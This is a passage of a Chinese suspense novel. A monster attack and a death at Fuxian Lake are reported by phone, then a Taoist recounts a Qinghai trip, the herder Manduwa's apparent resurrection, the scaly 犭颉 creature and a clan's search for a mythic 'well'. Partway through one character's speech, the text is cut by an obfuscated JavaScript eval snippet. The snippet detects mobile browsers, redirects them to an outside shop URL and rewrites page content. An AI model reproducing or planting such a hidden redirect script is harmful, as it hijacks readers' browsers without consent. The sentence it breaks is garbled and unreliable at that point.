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周游直接把二百八当空气,翻身从床头柜拿了手机过来,还好没带手机出门,要不然这手机也得丢! 手指在屏幕上划了划,手机上既没有未接来电,也没有新的微信消息,还真是奇怪,早上给吴沅打了电话他没接,按说看到未接来电,他应该会打个电话过来,这着实有点反常,不会是出什么事儿了吧! 吴沅毕竟没什么户外拍摄经验,还带着几个“菜鸟”,万一遇事了,那可就麻烦了,周游越想越担心,赶忙起身给吴沅又打了一个电话,还回头示意二百八别说话了,二百八见状,识趣的闭上了嘴巴。 一连串的等待音响起,一直没人接,周游心里七上八下的,快步走到窗边,拖了把椅子,一屁股坐下,就在他以为这通电话应该打不通了的时候,电话突然接通了。 “喂,吴沅……” “喂喂喂……” 电话那头的声音非常嘈杂,声音也断断续续,似乎是有人在吵架,男男女女,好不热闹。 “你在哪儿啊?怎么这么吵?” “喂喂喂,我听不太清,你说什么?”吴沅在电话那头尽量提高了音量,还是于事无补,于是又说,“我换个地方,你等我一下。” 吴沅应该是快速移动了位置,电话听筒里立马传来次啦次啦的杂音,紧接着是急促的脚步声,不一会儿,嘈杂的声音渐渐小了,吴沅的声音再次传出来。 “喂,这下应该能听清了,你说!” “我早上给你打电话你没接,你那边什么情况?怎么也不给我回个电话?” “唉,这就说来话长了,我们这边出事儿了……” 吴沅长叹一口气,言语间是藏不住的疲累。 一听那边出事儿了,周游蓦地一下站起来,十分紧张地问:“出什么事儿了,你们四个没受伤吧?” “还好,人伤是没伤到,不过昨晚我们遇到一个‘怪物’,差点把我们几个咬死了!” “怪物?什么怪物?”周游声音顿时高了几度。 说完,意识到二百八还在屋里,赶紧压低了声音。 二百八听得真真切切,顿时来了精神,立马竖起了耳朵。 “不知道是什么,浑身长满了黑色的长毛,长毛下面还有密密麻麻的鳞片,太吓人了,拿东西跑起来飞快,牙尖爪利,我们几个差点就死它手里了。” 吴沅说到这里,还心有余悸。 周游一听到“鳞片”两个字眼,脑中立马联想到了那个浑身长满鳞片的蛋,还有在青海湖迭起的浪涌间瞥见的那个活物,浑身长满鳞片,在阳光下折射出银白色的光来。 怎么这么巧? “那怪物呢?你现在在哪里?”周游忙追问。 “怪物被客栈的老板抓起来了,我现在在派出所。” 一听吴沅在派出所,周游心中稍安,稳了稳心神:“你们报警了?警察怎么说?那东西是什么?还是说水下那事儿,警察查出眉目了?” 吴沅在电话那头摇摇头,语气沉重:“不是,死人了,教我们潜水的教练死了。” 周游愣了一瞬,讶异地紧皱眉头:“什么?死人了?怎么死的?” 一听死人了,二百八更来精神了,上半身子都探了出去,恨不得把耳朵伸到听筒边上。 “警察没说那么多,我估摸着应该是他杀,车直接坠崖掉抚仙湖里了,据说还有目击者,下午过来让做个详细的笔录……” “这地方这么凶,你们几个又没什么经验,别想着素材什么了,赶紧回去!别出去一趟,还把命丢在那儿了。”周游忧心忡忡。 吴沅点点头:“是要回去啊,这地方是诡异的很,我们这几个愣头青还是见识太少了,顶不住了,只是现在还不行,不能回去!” 周游不解:“咋?警察不让走?你们又不是嫌疑人!” 吴沅不知怎么解释,就把在客栈遇到了一个道士的事儿从头到尾讲了一遍。 周游听完很无语:“就因为一个疯道士说了两句,你们就都不敢回来了?你们好歹也是接受过九年制义务教育的,不应该是虔诚的唯物主义者吗?” 吴沅表示不同意:“人家不是疯道士,人家掐指一算,算得准得很,是真有些本事在身上的,你别跟我扯别的,反正我家里人都信这个,我才能顺风顺水,荣华富贵加身!” 周游听着一个脑袋两个大,着实伤脑筋:“那你们打算啥时候回去?” “等那道长帮我们做完法吧!” 周游不放心:“要不,我去找你们,你们留在那里我实在不放心。” 吴沅一听就急了:“别别别,你身上的伤还没好透呢!我们这边暂时不会出什么事,等过两天道长替我们料理完就回去,你在家待着好好休养,别想着到处跑,要是留下病根有你遭罪的时候!” 一听这话,周游才意识到自己还没跟吴沅说实话,吴沅还以为他在江城的家里养伤呢!他莫名有些良心不安,犹豫了一会儿,准备实话实说,告诉吴沅自己早就离家来青海了。 “那个,其实……” 结果刚张口吐出几个字,就被电话那头的人声鼎沸盖住了,细听都是粗野的叫骂声。 “怎么回事?”周游担心地询问。 “怎么又打起来了!”吴沅在那头自顾自地说着话。 那头声音乱得很,有人拿着扩音器在喊话,似乎在劝大家冷静,接着急促的脚步声响起,电话那头挂了电话。 这群人真是太不让人放心了,这一刻,周游真的动了离开青海去云南的心思。 *** 32. 满都哇 8月,荆水的夏夜燥热。 车平稳地行驶在热气翻腾的夜色里,冷柏山却仿佛置身隆冬,周身止不住地发冷轻颤,立马把车内空调温度调高了几度。 宋浮尘绘声绘色地讲述了他在广西的见闻,如何目睹一个女人受伤后变成了犭颉的样子。 冷柏山不由得联想到了自己可怜的弟弟,从找到他的那一刻起,他几十年的人生都被禁锢在了那副丑陋的躯壳里,缩居在地下室的玻璃缸里,如同死去一般! 他有时候在想,当年是不是不应该把弟弟带回来,是不是应该就让他留在青海,任其在广袤的天地间自生自灭,对他来说,这也许是最好的一条路。 可终究是不忍心,即使变成了怪物模样,那也是他的亲弟弟啊!怎么忍心见死不救,把他留在远离家乡的苦寒之地呢? 当年在鲸鱼湖岸发现冷仲明时,已是6月,距离事发仅仅过去了5个月,但那时候他就已经产生了异变,浑身百分之八十的皮肤都异化成了鳞,到了已经无法控制的地步。 随之而来的是浑身恶臭,见不得光,怕热,长毛,简直就是一副不人不鬼的模样,他不愿弟弟以这幅模样出现在世人的眼里,受尽旁人的议论和指点,更不愿整个家族跟着蒙尘。 他瞒着所有人,专门打通了别墅,修了地下室,这件事成为了他心里尘封许久的秘密,这个秘密除了他,还有一个人知道,不过他相信那个人永远也不会说出这个秘密。 其实在做这些时,他心里还隐隐有一种期待,既然找到了弟弟,那他的妻子李寒梅,弟媳王青枝,会不会也能找到,即使是以这种怪物的面貌,至少一家人齐齐整整,他也做好了迎接的准备,地下室做的很大,能装下他们所有人。 很可惜,之后的二十几年,那些人始终杳无音讯。 其实每一次回想这些,对他来说都是一次沉重地打击,他躺在椅背上,闭眼缓了好一会儿,才徐徐睁眼,看向一旁的宋浮尘。 “那女人为什么会变成犭颉的样子?后来,你们找到方法救她了吗?" 宋浮尘叹了口气:“其实,那两段视频记录做的很细致,能看到那女人一步步的改变:先是脚底受伤,有丝状物入侵身体——接着身体表层硬化,形成鳞片——再后来,身体渐渐被鳞片、黑毛占据——最后整体异化,成为一个彻头彻尾的怪物,也就是犭颉。” “我们当时为了救她,想了很多办法,甚至还跟那个王老板一起去了青海。” 时隔多年,宋浮尘再一次跟着王老板踏上了青海这块土地,心境很复杂,有激动、兴奋,也有对未知的恐惧,他还记得那个深夜,满都哇漫不经心地说着要把他弄到湖里当肉土的话。 肉土是什么,他一直到现在都还不得而知,但从那句话里感受到了致命的危险。 他们带了一队人马,开着好几辆越野车,一路风尘仆仆,赶往满都哇所在的村子,因为宋浮尘心里已经认定,当年在地窖里看见的活物跟视频里看到的是同一种,所以觉得满都哇肯定知道些什么,想要找到解决问题的办法,可以先把满都哇当作突破口。 赶过去的时候,已是暮色四合,天边残留的霞光,红得像血。 村子建在山包上,车开不上去,只能下车步行,宋浮尘拿着手电在前面引路,一行人吭哧吭哧往上爬,还没进村,都觉出气氛不对劲。 村子里看起来已经许久没有住人,没有一点活人气息,外围的庄廓院也倒的倒,塌的塌,看起来也已经废弃了许久。 宋浮尘没想到,也就几年时间,村子里却变成这样一番光景。 他带着人绕着村子走了一圈,可以说是一无所获,整个村子一片死寂,偶有夜行的飞鸟哑声从头顶飞过,他们疾行的脚步声惊动了隐在暗处的鼠兔,它们倏地窜出,转眼又钻进坍塌的矮墙里,不见了踪影。 村子里到底发生了什么?当年那些老人和孩子又去了哪里? 他们这一路没遇到一个活人,想打听情况也打听不了,宋浮尘正一筹莫展,不知道该怎么办,就在这时候,一直拿着望远镜东看西看的王老板有了发现。 在不远处的山坳里竟然隐着一座房子,距离不算很远,但在暮色的掩映下,几乎跟山岚大地融为了一体,不用望远镜,可能根本发现不了。 “山脚下的房子?” 听到这里,冷柏山心里咯噔一下,神色骤变。 那座房子,他再熟悉不过了,那是他98年的时候为了报恩,专门给满都哇修的房子,按照宋浮尘的说法,他在心里推算着时间—— 96年,他们兄弟俩在青海出了事,弟弟冷仲明、弟媳王青枝、他的妻子李寒梅,都消失在一个雪夜,之后连天大雪,他一病不起,差点死了,跟宋浮尘一样,在危难时刻也是满都哇救了他。 但那时候冷柏山没有见到索南这一号人物,也没有见到村里的其他老人和小孩,只有一个小孙子跟满都哇相依为命,也就是说,索南应该是96年之前出现的人物,宋浮尘第一次到村子里,应该是96年之前。 而宋浮尘这次再回到村子,已经是98年之后了,因为那栋房子是98年才修好的。 想到这里,冷柏山顺嘴问了一句:“道长您这趟去青海是几几年?” “应该是2000年。” 那时间对上了!不过那时候满都哇已经走了两年了。 冷柏山还记得98年房子修好后,满都哇没住多久就病倒了,那一病就如大山坍塌,再也没爬起来,他千方百计托人给冷柏山寄了一封信,或许是知道自己命不久矣,但相依为命的孙子尚且年幼,实在放心不下,左思右想,便想着拜托冷柏山代为照顾,算是临终托孤吧! 冷柏山赶到青海时,满都哇形容枯槁,还剩一口气吊着,弥留之际,他把孙子喊到床前,一番叮嘱后交给了冷柏山,得到冷柏山亲口承诺后,才安心地闭上了眼睛。 后来,还按照当地的习俗和满都哇的遗愿,在昆仑山下的鲸鱼湖里给他进行了水葬。 对,又是鲸鱼湖!缘起缘灭,好像一切都跟这个鲸鱼湖脱不了干系。 96年出事就是在鲸鱼胡边,98满都哇又葬在了鲸鱼湖里,冥冥之中,似乎有着某种宿命的牵扯。 宋浮尘的讲述还在继续,声音似远似近地萦绕在耳旁,将冷柏山一点点拉回现实。 时间线又回到了2000年的那个夜晚,宋浮尘带着一群人急急忙忙开车赶到了那栋房子门前,房子是传统的平顶庄廓样式,看起来刚修好没多久,屋子和院墙都是用石头砌的,还做了一些新式改良,虽然看起来不是多豪华,但在那地方修房子,不算人工,就光建房子的建材就得花不少钱。 “我当时一看,心想这是哪个有钱的傻子,还专门跑到那么荒凉冷清的戈壁滩上修房子,要修也应该找个水草丰美的地方啊!”宋浮尘时至今日,还觉得匪夷所思。 听到这里,冷柏山尴尬地挑了挑眉,忍不住在心里嘟囔:“呵呵,我就是你口里那个有钱的傻子!” 他倒是想给满都哇找个水草丰美的地方修房子,但人家有乡土情节,不愿意啊,修在山坳里还是好说歹说才同意的。 那庄廓伫立在荒凉的山坳间,院门没锁,一进院里,北面三间正房,东西两边各两间偏房,看起来齐整敞亮,倒不像没住人。 宋浮尘敲了敲院门,没人应声,他绕着庄廓走了一圈,挨个透过玻璃窗往里看,发现一侧偏房靠窗的炉子上放着一口锅,锅里还搁着没吃完的吃食,看起来像是尕面片。 看样子,这屋子里是有人住的,眼下也没有别的办法,就只能等一等了,等房主回来,好问问山头那个村子里的情况。 时间一点一点过去,天色越发黑沉,夜里的气温降得很快,所有人都紧缩着身体,跺着脚在车边走来走去,心里都在暗暗怀疑,这地儿能有人吗?怕不是白忙活吧? 等到后来,眼见着就要转钟了,王老板实在熬不住了,一脸怀疑地看向宋浮尘,问道:“这房子真有人住吗?要不,我们先撤吧……” 宋浮尘不死心:“再等等,咱们再等等……” 没办法,一行人又耐着性子等了半个来小时,突然有辆卡车远远地朝着房子开过来。 等到到近前时,卡车的灯光一打过来,发现房子门口竟然停着好几辆车,那卡车上的人显然吓了一跳,没有一秒犹豫,急打方向盘就想逃。 宋浮尘那群人等了半天,好不容易等到几个活人,怎么可能让他们跑,见势不对,当即就开车追了过去,几辆车各种围追堵截,终于把卡车给拦了下来。 卡车没办法,又灰溜溜地开了回来,停在了房子门口,最后从车上下来几个男人。 宋浮尘上前聊了几句,男人们支支吾吾,言语间都是防备,也是,一群外地人莫名其妙拦了人家的车,任谁看也不会觉得是好人! 没办法,宋浮尘只能如实把自己的来意说了,这群人一听他们是来找满都哇的,这才放下了戒心。 领头的男人,看起来四十多岁,自我介绍叫旦正,土生土长青海人,放下了心防后,对着他们侃侃而谈起来,毫不避讳。 原来他们是来附近盐湖偷捞卤虫的,要说这卤虫,被称为“软黄金”,是一种优质的水产养殖饵料,也是种药材,只生长在盐湖里,市场价最高能卖到几十万元一吨。 虽然当地政府出于环境保护的考量,已经明令禁止捕捞,那段时间查得很严,抓住就要罚款、扣车、拘留,所以他们一看到屋门口停着好几辆车,以为是巡山队来抓人了,这才想跑。 但即使这样,很多人为了挣钱,还是选择铤而走险,从尕海到可可西里,再到鲸鱼湖,哪里管得松就去哪儿。 早些年,盗捞的情况更严重,巅峰时期湖边帐篷连片,上千人昼夜捕捞,用拖网、甚至电击、药捕,反正无所不用其极。 旦正眼见政府查得越来越凶,就想着趁着最后一段时间,跟哥们儿几个再捞上一笔,就金盆洗手,回去找个婆娘生娃儿去了。 “这营生(活儿)外人瞅着挣大钱哩,其实咱们都是刀尖上舔血,得把命豁出去呢!不光要防着巡山队抓哩,湖里头也险气(危险)得很!就说咱们最近去的那个鲸鱼湖,邪性得很。好多人在里头捞卤虫,船一翻,就再没上来过,有时候一条船上两个人,一个掉下去,另一个赶忙去拉,都不一定拉得上来,凶险得没边,全是拿命在搏哩!”旦正说着直摇头。 最近风声紧,他们不敢在湖边搭帐篷过夜了,要是被抓了,不光要没收捞到的卤虫,还要收缴船只车辆,旦正刚好认识房子的主人满都哇,夜里就领着大家来这里住,第二天再接着回去捞。 一听这房子的主人是满都哇,旦正还刚好认识,宋浮尘顿时就激动了。 “你认识满都哇?” “嗯,也算是巧得很,我从小就认得他哩。” “那满都哇人呢?” “殁(死)了,两年前就殁了。” “死了?”宋浮尘一脸震惊,接着又问:“那索南呢?” “索南早殁了,比满都哇殁得还早。” 实在出乎意料,宋浮尘被震得愣在原地,久久回不过神来。 旦正忍不住感叹:“唉,这老汉命苦得很,城里老板刚给他把庄廓盖成,还没住热乎,人就走了,亏得那老板是个善人,把他尕娃(孙子)收留了。” 说完,冲着众人往院子里扬扬手,示意大家进屋。 “走嘛走嘛,黑了冷得很,进屋里喧(聊天)去嘛,过路的人常来这达歇脚,我们懂规矩,只住偏房,正房绝不进。” 旦正打着手电,轻车熟路地带着他们去了偏房,从门口的石头下找到钥匙,打开门,又从火炉上摸了一盒火柴过来,擦划一下,点燃了桌上的洋油灯。 在昏黄的光线里,宋浮尘随意的扫视了一圈,屋子方方正正的,里头靠墙是一长溜的大通铺,另一头靠墙放着个火炉子,上面摆着宋浮尘先前透过窗户看到的锅,围着炉子还摆了一圈凳子。 细看之下,这屋子里倒是铺盖被褥、锅碗瓢盆、桌椅板凳都一应俱全。 几个捞卤虫的男人还没吃饭,早已饥肠辘辘,一进屋就忙着生火烧水,揉面做饭,不一会儿火苗窜起,热气升腾,屋子里顿时就暖和起来。 旦正热情地招呼大家围坐在炉子旁,伴着锅里烧水的咕嘟声,聊着过去的事儿,男人说那村子里本来就没多少人了,前些年村子里的老人接二连三地生病,陆陆续续都走了,剩下的孩子没人照顾,满都哇也是有心无力,最后就都送走了,只剩下满都哇和孙子留在了这里。 后来满都哇觉着自己活不久了,就把孙子托付给了那个修房子的大老板,满都哇水葬的时候,那男人也来送了一程,再然后旦正就没再见过满都哇的孙子了,不过他听说那老板每年都会来一趟青海,就住在这个给满都哇修的房子里,好像是在青海找什么,至于找什么就不知道了。 冷柏山听着听着渐渐皱起眉头,听这话的意思,他应该是见过那个那个叫旦正的男人,但这么些年过去了,他翻来覆去地想,脑子里就只剩下一些模糊的轮廓和记忆。 算了,这些都不重要,冷柏山索性不去想了,静静地听着宋浮尘的讲述。 那一晚,辽阔的天地间,浓重的夜色中,毫不相干的两拨人聚在那一处小偏房里,天南海北地聊起来,聊西北的波澜壮阔,也聊南方的山秀水柔,一来一往,竟也相谈甚欢,甚至都没了睡意。 聊到兴头上,王老板还去车里拿了几瓶酒,大家边喝边聊,渐渐都有了些醉意。 虽然那村子已经不复存在,但缠绕其间的谜团却并没有解开,关于那个活物,关于满都哇口中的肉土,宋浮尘心事重重地喝着酒,又想起了那群小娃娃们唱的那首花儿。 于是,看向一旁的旦正,问道:“你知道村子里孩子们唱的那首花儿吗?” 说完,他还有模有样学着唱了起来,唱腔怪异婉转,旦正仰头眯眼听着,手放在膝盖上打着节拍,沉浸在字字句句构造的诡秘斑斓的故事里。 一曲唱罢,王老板一行人根本没听明白,纯属听了个热闹,只觉得曲调有些怪异渗人,旦正呷了一口酒,热心地给他们一句句翻译解释。 等解释完,一行人皆是汗毛直立、背心发凉,轮回、死亡,阴曹地府、复活,这些阴气森森的词,怎么想都跟小孩联系不到一起,一时间都难以理解,都议论纷纷起来。 “这确定是小孩儿唱的吗?怎么这么暗黑啊?!” “是啊,怪吓人的!” 旦正却一副见怪不怪的样子,晃着手里一次性的塑料酒杯,慢悠悠地说:“不稀罕,青海花儿本来就爱扯着神话唱,这里是昆仑山,西王母的地盘,邪乎得很,有啥传说都不奇怪,花儿玄玄乎乎也正常,不过神话归神话,这些年昆仑山周边倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364649|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一直流传着一些‘死而复生’的故事!” 一听到死而复生,大家的好奇心顿时就上来了,忙一叠声地:“快讲讲!快讲讲!” 旦正咂了一口酒,想了一会儿说:“我阿妈给我讲过一个故事,八十年代那阵儿,交通不方便,也没个外地人专门跑到青海湖浪来,忽然一天,湖边来了一伙外地人,一个个风尘仆仆,累得不成样子,他们说自己是上面派来的考察队,在湖边绕了好半天,最后说想在村里寻个向导,啥也不用干,就领着他们在青海一带转,要找湖,给的钱多得很。” “我阿爸一听,这营生(活儿)轻省得很嘛,赶紧就应承下来了,后头几个月,就领着他们在青海各处盐湖中间转,这些人怪得很,白天全蜷在帐篷里睡觉,一到晚上人就没影了,帐篷里空空荡荡一个人都不剩,后来有天晚上,我阿爸眼看天快黑了,就悄悄猫在帐篷里头盯着,这才看着,这些人一到夜里就一块儿动身,不声不响、悄默声地钻到水底下,也不晓得在底下鼓捣啥名堂,过几个钟头,又悄默声地从水面上钻出来,安安静静摸回帐篷里,行事古怪得很。” “我阿爸那时候一头雾水,啥也想不明白,可转念一想,这事儿跟自己也没啥干系,人家给着钱,还管吃管喝,这么轻省的营生哪儿找去?甭管他们上天入地,他顾着挣钱就行了,往后也就不多留意了,每天没啥事儿就往帐篷里一躺,帮这帮人烧烧茶、做做饭,他也乐得清闲自在。” “就这样,在青海各处盐湖转了几个月,那伙人啥都没寻见,就催着我阿爸往无人区里头走,可那时候已经十月了,天气冷得厉害,再往无人区深处钻,阿爸心里犯怵,怕出人命危险,就想着推脱不去,毕竟家里上有老下有小,总不能为了钱把命搭上嘛,那伙人见他犹豫,二话不说,又塞给他一大笔钱,钱多得吓人,多到阿爸根本没法拒绝,人嘛,送到眼皮子底下的好处,哪能轻易放掉,阿爸只好硬着头皮,领着那伙人往无人区走,按他们说的地方,去的就是羌塘无人区,那里盐湖多得很,水滩也大,离昆仑山又近得很。” “他们在羌塘无人区选了个盐湖,刚在湖边扎下营,就开始下暴雪,雪大得把帐篷压得摇摇晃晃、快要塌哩,一眨眼的功夫,天地全让白雪盖严了,这种情况,我们当地人心里都清楚盐湖底下藏着凶险,我阿爸就好心提醒那伙人:好多盐湖年深日久,表面结着厚厚的盐壳,有些地方盐壳一塌,就会露出深不见底的盐窟窿,掉下去就会没命,千万千万要小心。” “阿爸交代完,就回自己帐篷里窝着了,他寻思着,下雪天,气温猛一下降,风又吼得厉害,这些人总不至于这种天气还下水,结果第二天一早,太阳都晒屁股了,整个营地还静悄悄的,往常这时候早有人起来了,还会过来催他赶紧做早饭,可那天早上安静得邪乎,阿爸赶紧穿好衣裳,跑出帐篷四下看,挨个帐篷瞅了一遍,才发现整个营地空掉了,除了他,一个人都没了。” “莫非那伙人悄悄走掉咧?我阿爸一下子心里发慌得很,可一看雪深得没过膝盖,地上连个脚印、印子都没有,帐篷里各样东西、家当一点没少,他们拉来的马车、骡子也都好好儿拴着,看着不像慌忙跑路,倒像是一下子凭空不见了,好好的人,咋能说没就没哩?阿爸当下就想起先前他们夜里往水里钻的事,心里猛地咯噔一下:莫非这些人真不要命,昨晚上又下水咧?想到这儿,他慌忙往湖边跑,到跟前一眼就瞅见,湖岸边上齐齐整整摆着一排鞋,上头落了厚厚一层雪,不仔细瞅根本看不出来。” “那样的天气往水里钻,到天亮还不上来,结果明摆着嘛,我阿爸心里发毛,哆哆嗦嗦往湖面一看,大风把冰面上的雪刮开了,冰层底下清清楚楚浮着一排惨白的死人,一个个僵得直直的,像冻住的石像,又像翻肚皮漂上来的死鱼。” 旦正讲得跌宕起伏、活灵活现,所有人听得都入了神,差点忘了呼吸,眼睛一眨不眨的,仿佛那些画面就展露在眼前,听到冰层下的死人的时候,都下意识倒吸了一口凉气。 “阿爸当时吓得魂都飞了,这些人出事虽是自找的,可说到底是他领进来的,人要是全都没了,他哪能脱得了干系?阿爸越想越怕,也不管路多难走,赶紧套上骡子,拉起板车,慌慌张张就往外跑去报警了,后来他领着警察再回来的时候,已经过了好几天,湖边的帐篷、家当都还在,跟他走的时候一模一样,可偏偏冰层底下的那些死人,都不见了,警察在湖边寻了半天,只找到些血印子和碎肉渣渣,大伙就猜,那些尸首怕是被无人区的野物,还有湖里的东西啃得干干净净了……” “这事儿闹得大着哩,整个村子都传开了,啥闲话都有,我阿爸经了这档子事,往后再也不敢往远路走了,也实打实明白,天上压根不会掉馅饼,那些看着诱人的好事,背地里说不定藏着天大的凶险,他也打定主意,这辈子不求啥大富大贵,就守在青海湖边放牛养羊,一家人平平安安过安生日子就成,往后平平淡淡过了四五年,我阿爸也慢慢把这事儿淡忘了,直到有一天,警察突然寻到他,让他去一趟公安局,说他当年报的案子,有了眉目。” “阿爸当时愣得不行,心说他报案都是四五年前的事儿了,这会儿还能有啥进展哩?结果一到公安局,才知道事情没那么简单,说是附近牧民在盐湖边拾下一个快断气的男人,问啥都不知道,连话都不会说,看着不像本地人,警察起先以为是个外地人跑丢了路,在无人区吓狠了,当时也没往几年前那桩失踪案上想,偏偏局里有个老警察,当年经手了那个盐湖失踪的案子,还一个个给失踪的人都画了像,这人虽说瘦得只剩一把骨头,老警察一眼瞅过去,就觉得眼熟,像画像上的一个人,赶紧就联系我阿爸,叫过去认一认。 “哪能想到嘛,都过去四五年了,我阿爸一眼就认出来了,他拍着胸脯说绝对没认错,这人就是当年那个考察队里管装备的那个,话不多,常常跟我阿爸一起做饭,所以阿爸记得清清楚楚,至于这人叫啥、家在哪儿,阿爸一概不知道,警察一开始还高兴得不行,失踪了多少年的人,居然在无人区里死而复生,听着就像神话怪事,要是查明白了,整个公安局都能露大脸,可跟那男人搭了几句话以后,警察都没辙了……” “那男人看着跟失了智一样,坐在那儿哆哆嗦嗦、战战兢兢的,你跟他说啥,他都跟听不懂似的,一脸茫然,警察想从他嘴里问出点啥来都没办法,那时候网络也没有,交通也不方便,想把这事儿查得明明白白、水落石出,估摸着要查到猴年马月去哩,先不说帮这男人寻家人了,就眼前咋安置他,警察都犯愁得很。” “后来,还是当初救下他的好心牧民,给警察出了个主意,说不如先把这人留在村子里,帮着放放羊、干点力气活,吃的喝的都由牧民管着,啥时候警察寻到他家里人了,再把他送走就行,警察也没别的好法子,两下里一说,就这么定了,往后那人就留在了青海,跟着牧民过日子。” “后来,村里人,还给他取了个本地名字,叫满都哇……” 这三个字如惊雷骤然劈下,冷柏山猝不及防,浑身猛地一个激灵,瞬间跌回现实。 “什么???你说那人叫什么?” 他一脸震惊,几乎弹跳起来,高脚杯里的红酒晃荡出来,泼在他的身上,他也全然不顾。 宋浮尘皱了皱眉,看着反应巨大的冷柏山,心里已然有了一种怀疑,他试探着问:“冷老板,你是不是认识满都哇?” *** 33. 宋浮尘 宋浮尘的问话,让冷柏山浑身一震,瞬间清醒过来,他慢慢地坐了回去,拿出湿纸巾擦衣服上的酒渍,面上有些尴尬。 “道长,你……看出来了?” “如果不认识,根本不会有这么大反应,不是吗?” 是啊,要是不认识,满都哇这三个字,只会成为故事里一个无关紧要的角色,听过也就忘了,哪里会那么大反应呢?! 冷柏山只是没想到,满都哇会以这种意想不到的方式,又一次出现,还是死而复生这种离谱的情节,虽然在宋浮尘的故事里,满都哇更像是一个伪善的好人,充满了秘密,但在冷柏山看来,满都哇只是普通的牧民,并且实实在在救了他一命。 冷柏山沉默了片刻,才开口:“我确实认识他,不过这也是一个说来话长的故事了……” 宋浮尘一听不得了,这不又得长篇大论了,赶忙出声打断:“得得得,既然又是一个说来话长的故事,那咱们一个一个来,先让我讲完,免得我这思绪被打乱,年纪大了,脑子没那么好使了!你跟满都哇的事儿放到后面再聊!” “行!”冷柏山点点头,表示同意。 宋浮尘仰头把杯中的红酒一饮而尽,末了咂咂嘴,才又书接上回,开始讲起来。 “刚刚那个‘死而复生’的故事,当然只是个小插曲,我主要还是想打听那活物的事儿,就又跟旦正描述了一下那活物的特征,就想着万一本地人知道些什么呢?结果我话刚问出口,跟旦正一起的几个男人就非常平淡地来了一句——这不就是犭颉吗?” “也就是那个时候开始,我才知道那活物是犭颉,是传说中的一种异兽,虽然《山海经》中只记载了寥寥几笔,但在当地不少村子里都有关于它的传说,很多人从小听到大,不过故事版本各有不同,有的说它是西王母宫殿的守卫者,有的说它是触犯天条后被贬下凡间受苦受难的天神,有的说他是脱胎转世的魔王……” “我当时很激动,赶忙追问哪里能见到犭颉,那些人瞬间爆笑,用看傻子的眼神看我,说那都是传说故事,连小孩儿都知道不可能是真的,怎么可能在现实生活中见到呢,说白了,他们虽然知道犭颉,却不相信真的有犭颉,其他更多的事儿他们更不可能知道了,线索在这里就又断了,不过我跟王老板都很开心,至少我们知道那东西叫犭颉了!” 宋浮尘讲到这里,停了下来,咂巴咂巴发干的嘴,低头看了一眼空空如也的杯子,刚刚那杯酒对他来说只是开胃小菜,远远还没过瘾呢,他咽了咽口水,情不自禁地看向冷柏山面前的红酒瓶。 冷柏山这时候一心想着犭颉的事儿,根本没注意到宋浮尘那渴望的眼神,追着他不停问:“那你们后来搞清楚这个犭颉是怎么回事了吗?是变异,还是寄生?有解决办法吗?” 宋浮尘还直勾勾地盯着酒瓶子,摇摇头:“没有,很遗憾,这件事没有后续了,那一趟我们在青海耗了几个月,也仅仅得到了犭颉这一个有用的信息,至于满都哇死而复生的故事,我也只是当故事听听。” 故事突然这样戛然而止,就像一部开场绚烂,结尾潦草的烂剧,被高悬的希望瞬间落地,冷柏山心底一片寒凉,难掩失望。 宋浮尘终于忍不住,往前探身伸手,试图去够酒瓶子,冷柏山这才惊觉宋浮尘的酒杯早就空了,赶忙一脸抱歉地拿起酒瓶,给宋浮尘续上了一杯。 宋浮尘心满意足地喝了一口,然后抬眼瞥了冷柏山一眼,话锋一转,又说道:“不过,我还知道了一件事……王老板的老婆也一直在青海找传说中的‘井’。” 说完,直勾勾盯着冷柏山,观察着他的表情变化,也许是先前提到满都哇,他震惊过度,这次反倒有些刻意收敛,只是瞬间瞪大了眼睛,一脸费解地皱起了眉头,有些不敢置信:“他们也在找‘井’?” 宋浮尘点点头:“嗯,要不然他们也不会去湖底冒险。” 冷柏山更迷茫了,低头喃喃低语:“为什么呢?他们为什么要找‘井’呢?” 这话像是在问宋浮尘,又像是在问自己。 宋浮尘觑着冷柏山的反应,又接着试探:“冷老板您听过‘水捞子’吗?” 猝不及防的三个字,冷柏山心头又是一惊,脸上的表情瞬间凝固,下意识攥紧了拳头,他嘴巴微微张了张,一时之间不知道该怎么回答。 见冷柏山僵着一张脸,宋浮尘便知道自己猜中了——冷柏山应该也是水捞子。 为了印证自己的猜想,不等冷柏山开口,他就装模作样地解释起来:“靠山吃山,靠水吃水,其实‘水捞子’就是在水里头找活路的一帮人,算是古时就有的职业,我早有耳闻,只是一直没见过,王老板的老婆就是‘水捞子’一脉,他们之所以重返青海,就是为了寻找传说中的‘井’,只是没曾想,不仅‘井’没找到,连人也搭进去了。” 宋浮尘还在絮絮叨叨地说话,冷柏山已然什么都听不进去,身子僵在原地好一会儿,突然像是想到了什么,出声打断宋浮尘:“您说那个王老板的儿子叫什么来着?” 冷不丁这么一问,宋浮尘愣了一瞬,眼珠子转了几圈,仔细想了想说:“骆晓川!” “果然,是姓骆的……” 广西,姓骆,找井……有些事儿,好像清楚了。 冷柏山心里立马有了一种大胆的猜想——或许,当年并不是只有冷家去了青海,找所谓的‘井’,水捞子五姓可能都去了,而结果就是,要么有去无回,要么变成长满鳞片的异类,而这些都成为了各大家族最讳莫如深的一笔。 多年前,骆家出了事,千方百计找到了宋浮尘,而多年后,他也辗转找到了宋浮尘。 冷柏山惨然一笑,心想着这怎么不算一种默契和缘分呢! 得出这种结论后,冷柏山便知道,宋浮尘多半早就猜出了他水捞子的身份,只是他躲躲闪闪不愿直说,人家也就没有多问。 “所以,您早就知道我是水捞子了?” “嗯,从你打听‘井’开始,贫道就有所怀疑了!”宋浮尘淡然一笑。 说完,他又抿了一口酒,酒香入喉,他仰起头,忍不住感叹道:“唉,你说你们费劲找那井干嘛啊,还把人搭进去了!现在人不人鬼不鬼的,贫道都不知道王老板他老婆现在到底怎么样了,你说你们为什么要找那井啊,那井到底在哪里,里头又有什么呢?” 